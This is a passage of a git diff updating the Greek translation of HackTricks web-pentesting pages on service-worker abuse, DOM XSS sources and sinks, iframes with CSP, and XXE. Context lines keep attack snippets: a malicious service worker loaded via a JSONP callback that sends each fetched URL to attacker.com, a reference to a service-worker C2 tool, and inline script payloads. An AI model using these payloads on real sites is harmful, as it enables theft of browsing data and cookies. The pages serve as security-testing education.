οποιαδήποτε ιστοσελίδα, επιτρέποντας δυνατότητες που δεν απαιτούν μια ιστοσελίδα ή αλληλεπίδραση χρήστη, ενισχύοντας έτσι τις δυνατότητες **εκτός σύνδεσης και επεξεργασίας στο παρασκήνιο**. Λεπτομερείς πληροφορίες σχετικά με τους εργαζόμενους υπηρεσίας μπορείτε να βρείτε [εδώ](https://developers.google.com/web/fundamentals/primers/service-workers). Εκμεταλλευόμενοι τους εργαζόμενους υπηρεσίας σε έναν ευάλωτο διαδικτυακό τομέα, οι επιτιθέμενοι μπορούν να αποκτήσουν έλεγχο στις αλληλεπιδράσεις του θύματος με όλες τις σελίδες εντός αυτού του τομέα. -### Έλεγχος Υπαρχουσών Υπηρεσιών Εργασίας +### Έλεγχος Υπαρχόντων Υπηρεσιών Εργαζομένων -Οι υπάρχουσες υπηρεσίες εργασίας μπορούν να ελεγχθούν στην ενότητα **Υπηρεσίες Εργασίας** της καρτέλας **Εφαρμογή** στα **Εργαλεία Ανάπτυξης**. Μια άλλη μέθοδος είναι η επίσκεψη στο [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) για μια πιο λεπτομερή προβολή. +Οι υπάρχοντες εργαζόμενοι υπηρεσίας μπορούν να ελεγχθούν στην ενότητα **Υπηρεσίες Εργαζομένων** της καρτέλας **Εφαρμογή** στα **Εργαλεία Ανάπτυξης**. Μια άλλη μέθοδος είναι η επίσκεψη στο [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) για μια πιο λεπτομερή άποψη. ### Ειδοποιήσεις Push -Οι **άδειες ειδοποιήσεων push** επηρεάζουν άμεσα την ικανότητα ενός **υπηρεσία εργασία** να επικοινωνεί με τον διακομιστή χωρίς άμεση αλληλεπίδραση χρήστη. Εάν οι άδειες απορριφθούν, περιορίζει τη δυνατότητα της υπηρεσίας εργασίας να θέσει μια συνεχόμενη απειλή. Αντίθετα, η χορήγηση αδειών αυξάνει τους κινδύνους ασφαλείας επιτρέποντας την παραλαβή και εκτέλεση πιθανών εκμεταλλεύσεων. +Οι **άδειες ειδοποιήσεων push** επηρεάζουν άμεσα την ικανότητα ενός **εργαζόμενου υπηρεσίας** να επικοινωνεί με τον διακομιστή χωρίς άμεση αλληλεπίδραση χρήστη. Εάν οι άδειες απορριφθούν, περιορίζει την ικανότητα του εργαζόμενου υπηρεσίας να θέτει μια συνεχόμενη απειλή. Αντίθετα, η χορήγηση αδειών αυξάνει τους κινδύνους ασφαλείας επιτρέποντας την παραλαβή και εκτέλεση πιθανών εκμεταλλεύσεων. -## Επίθεση Δημιουργίας Υπηρεσίας Εργασίας +## Δημιουργία Επίθεσης με Υπηρεσία Εργαζομένου Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να βρείτε: -- Έναν τρόπο να **ανεβάσετε αυθαίρετα αρχεία JS** στον διακομιστή και μια **XSS για να φορτώσετε την υπηρεσία εργασία** του ανεβασμένου αρχείου JS -- Ένα **ευάλωτο αίτημα JSONP** όπου μπορείτε να **χειριστείτε την έξοδο (με αυθαίρετο κώδικα JS)** και μια **XSS** για να **φορτώσετε το JSONP με ένα payload** που θα **φορτώσει μια κακόβουλη υπηρεσία εργασία**. +- Έναν τρόπο να **ανεβάσετε αυθαίρετα αρχεία JS** στον διακομιστή και μια **XSS για να φορτώσετε τον εργαζόμενο υπηρεσίας** του ανεβασμένου αρχείου JS +- Ένα **ευάλωτο αίτημα JSONP** όπου μπορείτε να **χειριστείτε την έξοδο (με αυθαίρετο κώδικα JS)** και μια **XSS** για να **φορτώσετε το JSONP με ένα payload** που θα **φορτώσει έναν κακόβουλο εργαζόμενο υπηρεσίας**. -Στο παρακάτω παράδειγμα, θα παρουσιάσω έναν κώδικα για να **καταχωρήσετε μια νέα υπηρεσία εργασία** που θα ακούει το γεγονός `fetch` και θα **στέλνει στον διακομιστή των επιτιθέμενων κάθε URL που ανακτάται** (αυτός είναι ο κώδικας που θα χρειαστεί να **ανεβάσετε** στον **διακομιστή** ή να φορτώσετε μέσω μιας **ευάλωτης JSONP** απάντησης): +Στο παρακάτω παράδειγμα θα παρουσιάσω έναν κώδικα για να **καταχωρήσετε έναν νέο εργαζόμενο υπηρεσίας** που θα ακούει το γεγονός `fetch` και θα **στέλνει στον διακομιστή των επιτιθέμενων κάθε URL που ανακτάται** (αυτός είναι ο κώδικας που θα χρειαστεί να **ανεβάσετε** στον **διακομιστή** ή να φορτώσετε μέσω μιας **ευάλωτης απάντησης JSONP**): ```javascript self.addEventListener('fetch', function(e) { e.respondWith(caches.match(e.request).then(function(response) { @@ -51,11 +51,11 @@ xhttp2.send(); var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//" ``` -Υπάρχει ένα **C2** αφιερωμένο στην **εκμετάλλευση των Service Workers** που ονομάζεται [**Shadow Workers**](https://shadow-workers.github.io) το οποίο θα είναι πολύ χρήσιμο για την εκμετάλλευση αυτών των ευπαθειών. +Υπάρχει ένα **C2** αφιερωμένο στην **εκμετάλλευση των Service Workers** που ονομάζεται [**Shadow Workers**](https://shadow-workers.github.io) το οποίο θα είναι πολύ χρήσιμο για την κακή χρήση αυτών των ευπαθειών. -Η **κατεύθυνση cache 24 ωρών** περιορίζει τη διάρκεια ζωής ενός κακόβουλου ή συμβιβασμένου **service worker (SW)** σε το πολύ 24 ώρες μετά την επιδιόρθωση μιας ευπάθειας XSS, υποθέτοντας ότι η κατάσταση του πελάτη είναι online. Για να ελαχιστοποιήσουν την ευπάθεια, οι διαχειριστές ιστότοπων μπορούν να μειώσουν τον Χρόνο Ζωής (TTL) του script SW. Οι προγραμματιστές συνιστάται επίσης να δημιουργήσουν ένα [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) για γρήγορη απενεργοποίηση. +Η **κατεύθυνση cache 24 ωρών** περιορίζει τη διάρκεια ζωής ενός κακόβουλου ή συμβιβασμένου **service worker (SW)** σε το πολύ 24 ώρες μετά από μια διόρθωση ευπάθειας XSS, υποθέτοντας ότι η κατάσταση του πελάτη είναι online. Για να ελαχιστοποιήσουν την ευπάθεια, οι διαχειριστές ιστότοπων μπορούν να μειώσουν τον Χρόνο Ζωής (TTL) του script SW. Οι προγραμματιστές συμβουλεύονται επίσης να δημιουργήσουν ένα [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) για γρήγορη απενεργοποίηση. -## Εκμετάλλευση του `importScripts` σε ένα SW μέσω DOM Clobbering +## Κακή χρήση του `importScripts` σε ένα SW μέσω DOM Clobbering Η συνάρτηση **`importScripts`** που καλείται από έναν Service Worker μπορεί να **εισάγει ένα script από διαφορετικό τομέα**. Εάν αυτή η συνάρτηση κληθεί χρησιμοποιώντας μια **παράμετρο που θα μπορούσε να** τροποποιήσει ένας επιτιθέμενος, θα μπορούσε να **εισάγει ένα JS script από τον τομέα του** και να αποκτήσει XSS. diff --git a/src/pentesting-web/xss-cross-site-scripting/dom-xss.md b/src/pentesting-web/xss-cross-site-scripting/dom-xss.md index d30ee280f..6467e501a 100644 --- a/src/pentesting-web/xss-cross-site-scripting/dom-xss.md +++ b/src/pentesting-web/xss-cross-site-scripting/dom-xss.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -## DOM Ευπάθειες +## DOM Vulnerabilities -Οι ευπάθειες DOM συμβαίνουν όταν δεδομένα από **πηγές** που ελέγχονται από επιτιθέμενους (όπως το `location.search`, το `document.referrer` ή το `document.cookie`) μεταφέρονται με ανασφαλή τρόπο σε **αποδέκτες**. Οι αποδέκτες είναι συναρτήσεις ή αντικείμενα (π.χ., `eval()`, `document.body.innerHTML`) που μπορούν να εκτελέσουν ή να αποδώσουν επιβλαβές περιεχόμενο αν λάβουν κακόβουλα δεδομένα. +Οι ευπάθειες DOM συμβαίνουν όταν δεδομένα από **πηγές** που ελέγχονται από επιτιθέμενους (όπως το `location.search`, το `document.referrer` ή το `document.cookie`) μεταφέρονται με ανασφαλή τρόπο σε **σιφόνια**. Τα σιφόνια είναι συναρτήσεις ή αντικείμενα (π.χ., `eval()`, `document.body.innerHTML`) που μπορούν να εκτελέσουν ή να αποδώσουν επιβλαβές περιεχόμενο αν λάβουν κακόβουλα δεδομένα. -- **Πηγές** είναι είσοδοι που μπορούν να χειριστούν οι επιτιθέμενοι, συμπεριλαμβανομένων των URLs, των cookies και των διαδικτυακών μηνυμάτων. -- **Αποδέκτες** είναι δυνητικά επικίνδυνες καταλήξεις όπου τα κακόβουλα δεδομένα μπορούν να οδηγήσουν σε αρνητικές συνέπειες, όπως η εκτέλεση σεναρίων. +- **Πηγές** είναι είσοδοι που μπορούν να χειραγωγηθούν από επιτιθέμενους, συμπεριλαμβανομένων των URLs, των cookies και των διαδικτυακών μηνυμάτων. +- **Σιφόνια** είναι δυνητικά επικίνδυνες καταλήξεις όπου τα κακόβουλα δεδομένα μπορούν να οδηγήσουν σε αρνητικές συνέπειες, όπως η εκτέλεση σεναρίων. -Ο κίνδυνος προκύπτει όταν τα δεδομένα ρέουν από μια πηγή σε έναν αποδέκτη χωρίς κατάλληλη επικύρωση ή απολύμανση, επιτρέποντας επιθέσεις όπως το XSS. +Ο κίνδυνος προκύπτει όταν τα δεδομένα ρέουν από μια πηγή σε ένα σιφόνι χωρίς κατάλληλη επικύρωση ή απολύμανση, επιτρέποντας επιθέσεις όπως το XSS. -> [!NOTE] -> **Μπορείτε να βρείτε μια πιο ενημερωμένη λίστα πηγών και αποδεκτών στο** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki) +> [!TIP] +> **Μπορείτε να βρείτε μια πιο ενημερωμένη λίστα πηγών και σιφονιών στο** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki) **Κοινές πηγές:** ```javascript @@ -45,7 +45,7 @@ Database | `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` | | `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` | | `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` | -| `domElem.srcdoc` | **\`\`**[**Manipulation τοπικής διαδρομής αρχείου**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` | +| `domElem.srcdoc` | **\`\`**[**Manipulation τοπικών διαδρομών αρχείων**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` | | `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` | | `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` | | `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` | @@ -55,24 +55,24 @@ Database | `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` | | `XMLHttpRequest.send()` | [**Manipulation συνδέσμων**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` | | `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` | -| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Εισαγωγή JSON από τον πελάτη**](dom-xss.md#client-side-sql-injection) | +| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Εισαγωγή JSON από την πλευρά του πελάτη**](dom-xss.md#client-side-sql-injection) | | **\`\`**[**Manipulation αποθήκευσης HTML5**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` | | `sessionStorage.setItem()` | [**Εισαγωγή XPath**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` | | `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` | -| **``**[**`Άρνηση Υπηρεσίας`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Manipulation cookie**](dom-xss.md#cookie-manipulation) | +| **``**[**`Άρνηση Υπηρεσίας`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Manipulation Cookies**](dom-xss.md#cookie-manipulation) | | `requestFileSystem()` | **\`\`**[**Manipulation τομέα εγγράφου**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` | | `RegExp()` | `document.domain` | `history.pushState()` | [**Δηλητηρίαση URL WebSocket**](dom-xss.md#websocket-url-poisoning) | -| [**Εισαγωγή SQl από τον πελάτη**](dom-xss.md#client-side-sql-injection) | [**Manipulation μηνυμάτων Web**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` | +| [**Εισαγωγή SQl από την πλευρά του πελάτη**](dom-xss.md#client-side-sql-injection) | [**Manipulation μηνυμάτων Web**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` | | `executeSql()` | `postMessage()` | \`\` | \`\` | Η **`innerHTML`** έξοδος δεν δέχεται `script` στοιχεία σε κανέναν σύγχρονο περιηγητή, ούτε θα εκτελούνται τα γεγονότα `svg onload`. Αυτό σημαίνει ότι θα χρειαστεί να χρησιμοποιήσετε εναλλακτικά στοιχεία όπως `img` ή `iframe`. -Αυτού του είδους το XSS είναι πιθανώς το **πιο δύσκολο να βρεθεί**, καθώς πρέπει να κοιτάξετε μέσα στον κώδικα JS, να δείτε αν **χρησιμοποιεί** οποιοδήποτε αντικείμενο του οποίου την **τιμή ελέγχετε**, και σε αυτή την περίπτωση, να δείτε αν υπάρχει **οποιοσδήποτε τρόπος να το κακοποιήσετε** για να εκτελέσετε αυθαίρετο JS. +Αυτός ο τύπος XSS είναι πιθανώς ο **πιο δύσκολος να βρεθεί**, καθώς πρέπει να κοιτάξετε μέσα στον κώδικα JS, να δείτε αν **χρησιμοποιεί** οποιοδήποτε αντικείμενο του οποίου την **τιμή ελέγχετε**, και σε αυτή την περίπτωση, να δείτε αν υπάρχει **οποιοσδήποτε τρόπος να το εκμεταλλευτείτε** για να εκτελέσετε αυθαίρετο JS. ## Εργαλεία για να τα βρείτε - [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized) -- Επέκταση περιηγητή για να ελέγχει κάθε δεδομένο που φτάνει σε μια πιθανή έξοδο: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp) +- Επέκταση περιηγητή για να ελέγξετε κάθε δεδομένο που φτάνει σε μια πιθανή έξοδο: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp) ## Παραδείγματα @@ -106,15 +106,15 @@ $.ajax() Από: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation) -Οι ευπάθειες που σχετίζονται με τη manipulation cookie βασισμένη σε DOM συμβαίνουν όταν ένα σενάριο ενσωματώνει δεδομένα, τα οποία μπορούν να ελεγχθούν από έναν επιτιθέμενο, στην τιμή ενός cookie. Αυτή η ευπάθεια μπορεί να οδηγήσει σε απροσδόκητη συμπεριφορά της ιστοσελίδας αν το cookie χρησιμοποιείται εντός του ιστότοπου. Επιπλέον, μπορεί να εκμεταλλευτεί για να πραγματοποιηθεί μια επίθεση session fixation αν το cookie εμπλέκεται στην παρακολούθηση των συνεδριών χρήστη. Ο κύριος αποδέκτης που σχετίζεται με αυτή την ευπάθεια είναι: +Οι ευπάθειες που σχετίζονται με τη manipulation cookie βάσει DOM συμβαίνουν όταν ένα σενάριο ενσωματώνει δεδομένα, τα οποία μπορούν να ελεγχθούν από έναν επιτιθέμενο, στην τιμή ενός cookie. Αυτή η ευπάθεια μπορεί να οδηγήσει σε απροσδόκητη συμπεριφορά της ιστοσελίδας αν το cookie χρησιμοποιείται εντός του ιστότοπου. Επιπλέον, μπορεί να εκμεταλλευτεί για να πραγματοποιηθεί μια επίθεση fixation session αν το cookie εμπλέκεται στην παρακολούθηση των συνεδριών χρηστών. Ο κύριος αποδέκτης που σχετίζεται με αυτή την ευπάθεια είναι: -Αποδέκτες: +Sinks: ```javascript document.cookie ``` ### JavaScript Injection -Από: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection) +From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection) Οι ευπάθειες εισαγωγής JavaScript που βασίζονται στο DOM δημιουργούνται όταν ένα σενάριο εκτελεί δεδομένα, τα οποία μπορούν να ελεγχθούν από έναν επιτιθέμενο, ως κώδικα JavaScript. @@ -131,13 +131,13 @@ msSetImmediate() range.createContextualFragment() crypto.generateCRMFRequest() ``` -### Document-domain manipulation +### Manipulation τομέα εγγράφου -From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation) +Από: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation) -**Ευπάθειες χειρισμού document-domain** προκύπτουν όταν ένα σενάριο ορίζει την ιδιότητα `document.domain` χρησιμοποιώντας δεδομένα που μπορεί να ελέγξει ένας επιτιθέμενος. +**Ευπάθειες χειρισμού τομέα εγγράφου** συμβαίνουν όταν ένα σενάριο ορίζει την ιδιότητα `document.domain` χρησιμοποιώντας δεδομένα που μπορεί να ελέγξει ένας επιτιθέμενος. -Η ιδιότητα `document.domain` παίζει έναν **κεντρικό ρόλο** στην **επιβολή** της **πολιτικής ίδιας προέλευσης** από τους περιηγητές. Όταν δύο σελίδες από διαφορετικές προελεύσεις ορίζουν το `document.domain` τους στην **ίδια τιμή**, μπορούν να αλληλεπιδρούν χωρίς περιορισμούς. Αν και οι περιηγητές επιβάλλουν ορισμένους **περιορισμούς** στις τιμές που μπορούν να ανατεθούν στο `document.domain`, αποτρέποντας την ανάθεση εντελώς άσχετων τιμών στην πραγματική προέλευση της σελίδας, υπάρχουν εξαιρέσεις. Συνήθως, οι περιηγητές επιτρέπουν τη χρήση **child** ή **parent domains**. +Η ιδιότητα `document.domain` παίζει έναν **κεντρικό ρόλο** στην **επιβολή** της **πολιτικής ίδιου προέλευσης** από τους περιηγητές. Όταν δύο σελίδες από διαφορετικές προελεύσεις ορίζουν το `document.domain` τους στην **ίδια τιμή**, μπορούν να αλληλεπιδρούν χωρίς περιορισμούς. Αν και οι περιηγητές επιβάλλουν ορισμένους **περιορισμούς** στις τιμές που μπορούν να ανατεθούν στο `document.domain`, αποτρέποντας την ανάθεση εντελώς άσχετων τιμών στην πραγματική προέλευση της σελίδας, υπάρχουν εξαιρέσεις. Συνήθως, οι περιηγητές επιτρέπουν τη χρήση **υποτομέων** ή **γονικών τομέων**. Sinks: ```javascript @@ -157,7 +157,7 @@ Sinks: From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation) -**DOM-based link-manipulation vulnerabilities** προκύπτουν όταν ένα σενάριο γράφει **δεδομένα ελέγξιμα από τον επιτιθέμενο σε έναν στόχο πλοήγησης** μέσα στην τρέχουσα σελίδα, όπως ένα κλικαρίσιμο σύνδεσμο ή το URL υποβολής μιας φόρμας. +**DOM-based link-manipulation vulnerabilities** προκύπτουν όταν ένα σενάριο γράφει **δεδομένα ελέγχου επιτιθέμενου σε έναν στόχο πλοήγησης** μέσα στην τρέχουσα σελίδα, όπως ένα κλικαρίσιμο σύνδεσμο ή το URL υποβολής μιας φόρμας. Sinks: ```javascript @@ -183,7 +183,7 @@ $.globalEval() Από: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation) -**Οι ευπάθειες τοπικής παραποίησης διαδρομής αρχείου** προκύπτουν όταν ένα σενάριο περνά **δεδομένα ελεγχόμενα από τον επιτιθέμενο σε μια API διαχείρισης αρχείων** ως παράμετρο `filename`. Αυτή η ευπάθεια μπορεί να εκμεταλλευτεί από έναν επιτιθέμενο για να κατασκευάσει μια διεύθυνση URL που, αν επισκεφθεί από έναν άλλο χρήστη, θα μπορούσε να οδηγήσει στο **να ανοίξει ή να γράψει ένα αυθαίρετο τοπικό αρχείο στον περιηγητή του χρήστη**. +**Οι ευπάθειες τοπικής παραποίησης διαδρομής αρχείου** προκύπτουν όταν ένα σενάριο περνά **δεδομένα ελεγχόμενα από τον επιτιθέμενο σε μια API διαχείρισης αρχείων** ως παράμετρο `filename`. Αυτή η ευπάθεια μπορεί να εκμεταλλευτεί από έναν επιτιθέμενο για να κατασκευάσει μια διεύθυνση URL που, αν επισκεφθεί από έναν άλλο χρήστη, θα μπορούσε να οδηγήσει στο **να ανοίξει ή να γράψει ο περιηγητής του χρήστη ένα αυθαίρετο τοπικό αρχείο**. Sinks: ```javascript @@ -209,7 +209,7 @@ executeSql() From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation) -**Οι ευπάθειες χειρισμού HTML5-storage** προκύπτουν όταν ένα σενάριο **αποθηκεύει δεδομένα που ελέγχονται από τον επιτιθέμενο στην αποθήκευση HTML5 του φυλλομετρητή** (`localStorage` ή `sessionStorage`). Ενώ αυτή η ενέργεια δεν είναι εγγενώς μια ευπάθεια ασφαλείας, γίνεται προβληματική αν η εφαρμογή στη συνέχεια **διαβάσει τα αποθηκευμένα δεδομένα και τα επεξεργαστεί με ανασφαλή τρόπο**. Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να εκμεταλλευτεί τον μηχανισμό αποθήκευσης για να διεξάγει άλλες επιθέσεις βασισμένες σε DOM, όπως η διασταυρούμενη σάρωση ιστοσελίδων και η έγχυση JavaScript. +**Οι ευπάθειες χειρισμού αποθήκευσης HTML5** προκύπτουν όταν ένα σενάριο **αποθηκεύει δεδομένα που ελέγχονται από τον επιτιθέμενο στην αποθήκευση HTML5 του φυλλομετρητή** (`localStorage` ή `sessionStorage`). Ενώ αυτή η ενέργεια δεν είναι εγγενώς μια ευπάθεια ασφαλείας, γίνεται προβληματική αν η εφαρμογή στη συνέχεια **διαβάσει τα αποθηκευμένα δεδομένα και τα επεξεργαστεί με ανασφαλή τρόπο**. Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να εκμεταλλευτεί τον μηχανισμό αποθήκευσης για να διεξάγει άλλες επιθέσεις βασισμένες σε DOM, όπως η διασταυρούμενη σcripting και η ένεση JavaScript. Sinks: ```javascript @@ -253,7 +253,7 @@ Sinks: From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation) -**Ευπάθειες DOM-data manipulation** προκύπτουν όταν ένα σενάριο γράφει **δεδομένα ελεγχόμενα από τον επιτιθέμενο σε ένα πεδίο μέσα στο DOM** που χρησιμοποιείται στην ορατή διεπαφή χρήστη ή στη λογική πλευρά του πελάτη. Αυτή η ευπάθεια μπορεί να εκμεταλλευτεί από έναν επιτιθέμενο για να κατασκευάσει μια διεύθυνση URL που, αν επισκεφθεί από άλλο χρήστη, μπορεί να αλλάξει την εμφάνιση ή τη συμπεριφορά της διεπαφής χρήστη πλευράς του πελάτη. +**Ευπάθειες DOM-data manipulation** προκύπτουν όταν ένα σενάριο γράφει **δεδομένα ελεγχόμενα από τον επιτιθέμενο σε ένα πεδίο μέσα στο DOM** που χρησιμοποιείται μέσα στην ορατή διεπαφή χρήστη ή τη λογική πλευρά του πελάτη. Αυτή η ευπάθεια μπορεί να εκμεταλλευτεί από έναν επιτιθέμενο για να κατασκευάσει μια διεύθυνση URL που, αν επισκεφθεί από άλλο χρήστη, μπορεί να αλλάξει την εμφάνιση ή τη συμπεριφορά της διεπαφής χρήστη πλευράς του πελάτη. Sinks: ```javascript @@ -284,7 +284,7 @@ history.replaceState() From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service) -**Ευπάθειες άρνησης υπηρεσίας βασισμένες σε DOM** συμβαίνουν όταν ένα σενάριο περνά **δεδομένα που ελέγχονται από τον επιτιθέμενο με ανασφαλή τρόπο σε μια προβληματική πλατφόρμα API**. Αυτό περιλαμβάνει APIs που, όταν καλούνται, μπορούν να οδηγήσουν τον υπολογιστή του χρήστη να καταναλώνει **υπερβολικές ποσότητες CPU ή χώρου δίσκου**. Τέτοιες ευπάθειες μπορεί να έχουν σημαντικές παρενέργειες, όπως η περιορισμένη λειτουργικότητα της ιστοσελίδας από τον περιηγητή, απορρίπτοντας τις προσπάθειες αποθήκευσης δεδομένων στο `localStorage` ή τερματίζοντας απασχολημένα σενάρια. +**Ευπάθειες άρνησης υπηρεσίας βασισμένες σε DOM** συμβαίνουν όταν ένα σενάριο περνά **δεδομένα που ελέγχονται από τον επιτιθέμενο με ανασφαλή τρόπο σε μια προβληματική API πλατφόρμα**. Αυτό περιλαμβάνει APIs που, όταν καλούνται, μπορούν να οδηγήσουν τον υπολογιστή του χρήστη να καταναλώνει **υπερβολικές ποσότητες CPU ή χώρου δίσκου**. Τέτοιες ευπάθειες μπορεί να έχουν σημαντικές παρενέργειες, όπως η περιορισμένη λειτουργικότητα της ιστοσελίδας από τον περιηγητή, απορρίπτοντας τις προσπάθειες αποθήκευσης δεδομένων στο `localStorage` ή τερματίζοντας απασχολημένα σενάρια. Sinks: ```javascript @@ -293,6 +293,7 @@ RegExp() ``` ## Dom Clobbering + {{#ref}} dom-clobbering.md {{#endref}} diff --git a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md index 646b99389..ab198168c 100644 --- a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md +++ b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md @@ -76,12 +76,12 @@ id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"> ``` -Σημειώστε ότι η **προηγούμενη CSP επιτρέπει μόνο την εκτέλεση του inline script**.\ +Σημειώστε ότι η **προηγούμενη CSP επιτρέπει μόνο την εκτέλεση του ενσωματωμένου script**.\ Ωστόσο, **μόνο τα scripts `if1` και `if2` θα εκτελούνται, αλλά μόνο το `if1` θα μπορεί να έχει πρόσβαση στο γονικό μυστικό**. ![](<../../images/image (372).png>) -Επομένως, είναι δυνατόν να **παρακαμφθεί μια CSP αν μπορείτε να ανεβάσετε ένα αρχείο JS στον διακομιστή και να το φορτώσετε μέσω iframe, ακόμη και με `script-src 'none'`**. Αυτό μπορεί **πιθανώς να γίνει επίσης εκμεταλλευόμενοι ένα endpoint JSONP της ίδιας τοποθεσίας**. +Επομένως, είναι δυνατόν να **παρακαμφθεί μια CSP αν μπορείτε να ανεβάσετε ένα αρχείο JS στον διακομιστή και να το φορτώσετε μέσω iframe ακόμη και με `script-src 'none'`**. Αυτό μπορεί **πιθανώς να γίνει επίσης εκμεταλλευόμενοι ένα endpoint JSONP της ίδιας τοποθεσίας**. Μπορείτε να το δοκιμάσετε με το παρακάτω σενάριο όπου ένα cookie κλέβεται ακόμη και με `script-src 'none'`. Απλώς εκτελέστε την εφαρμογή και αποκτήστε πρόσβαση σε αυτήν με τον περιηγητή σας: ```python @@ -136,7 +136,7 @@ top.document.body.appendChild(s); 1. Πάντα να στέλνετε *όλες* τις οδηγίες CSP που ελέγχουν δευτερεύοντα πλαίσια (`form-action`, `frame-src`, `child-src`, `object-src`, κ.λπ.). 2. Μην βασίζεστε στο ότι οι nonces είναι μυστικές—χρησιμοποιήστε `strict-dynamic` **και** εξαλείψτε τα σημεία εισαγωγής. -3. Όταν πρέπει να ενσωματώσετε μη αξιόπιστα έγγραφα χρησιμοποιήστε `sandbox="allow-scripts allow-same-origin"` **πολύ προσεκτικά** (ή χωρίς `allow-same-origin` αν χρειάζεστε μόνο απομόνωση εκτέλεσης σεναρίων). +3. Όταν πρέπει να ενσωματώσετε μη αξιόπιστα έγγραφα, χρησιμοποιήστε `sandbox="allow-scripts allow-same-origin"` **πολύ προσεκτικά** (ή χωρίς `allow-same-origin` αν χρειάζεστε μόνο απομόνωση εκτέλεσης σεναρίων). 4. Σκεφτείτε μια ανάπτυξη COOP+COEP με άμυνα σε βάθος; το νέο ` ``` -Στις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για την εκκίνηση επιθέσεων που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για ισχυρή επικύρωση εισόδου και μέτρα ασφαλείας. +Σε και τις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για την εκκίνηση επιθέσεων που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για ισχυρή επικύρωση εισόδου και μέτρα ασφαλείας. Δείτε [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) για περισσότερες πληροφορίες! @@ -344,6 +344,7 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec Διαβάστε την παρακάτω ανάρτηση για **να μάθετε πώς να εκμεταλλευτείτε μια XXE ανεβάζοντας ένα αρχείο PDF**: + {{#ref}} file-upload/pdf-upload-xxe-and-cors-bypass.md {{#endref}} @@ -422,13 +423,13 @@ Content-Type: application/xml;charset=UTF-8 ``` ### File:/ 